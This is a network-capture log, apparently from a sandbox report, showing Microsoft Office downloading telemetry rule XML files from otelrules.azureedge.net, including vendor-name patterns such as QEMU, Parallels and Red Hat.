2024-11-13 17:08:22 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: d55876ee-301e-0099-5603-2d6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170822Z-16547b76f7f7lhvnhC1DFWa2k00000000hc0000000008mkv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:22 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.6	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:22 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:22 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:22 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9ba15ece-101e-0034-5d08-2c96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170822Z-16547b76f7f4k79zhC1DFWu9y00000000hk0000000002kqg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:22 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:22 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:22 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 52d88e03-c01e-007a-7b0b-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170822Z-16547b76f7ftdm8dhC1DFWs13g0000000hbg00000000nwnd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:22 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:23 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:23 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:23 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 2d5e3293-901e-002a-4f00-2d7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170823Z-16547b76f7fm7xw6hC1DFW5px40000000h8g00000000tadh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:23 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:23 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:23 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:23 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 6dc34679-101e-0034-7d01-2d96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170823Z-16547b76f7fkcrm9hC1DFWxdag0000000hk000000000ay8s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:23 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.6	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:23 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: dce3e1b2-201e-0000-5860-35a537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170823Z-1749fc9bdbdb8fs8hC1DFW2b8g00000001bg00000000hft8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.6	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:23 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:23 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: da73b1ea-a01e-0070-5573-35573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170823Z-1749fc9bdbdns7kfhC1DFWb6c4000000018g00000000vc5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:23 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.6	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:23 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:23 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:23 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f2a95d3-901e-00ac-5b08-2cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170823Z-16547b76f7fcjqqhhC1DFWrrrc0000000he000000000ag0e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:23 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.6	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:24 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:24 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 392771d5-701e-000d-1cd2-2c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170824Z-16547b76f7fdtmzhhC1DFW6zhc000000066g00000000wex2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:24 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.6	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:24 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:24 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: f849fa6d-101e-00a2-16a3-349f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170824Z-1749fc9bdbdv5qmhhC1DFWf75800000001d0000000005b75 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:24 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:24 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:24 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 50fcf232-201e-0085-635e-3534e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170824Z-r178fb8d765hbcjvhC1DFW50zc00000001dg000000002us6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:24 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:24 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:24 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 44d502e9-701e-000d-5c08-2c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170824Z-16547b76f7fx6rhxhC1DFW76kg0000000hbg00000000qnrr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
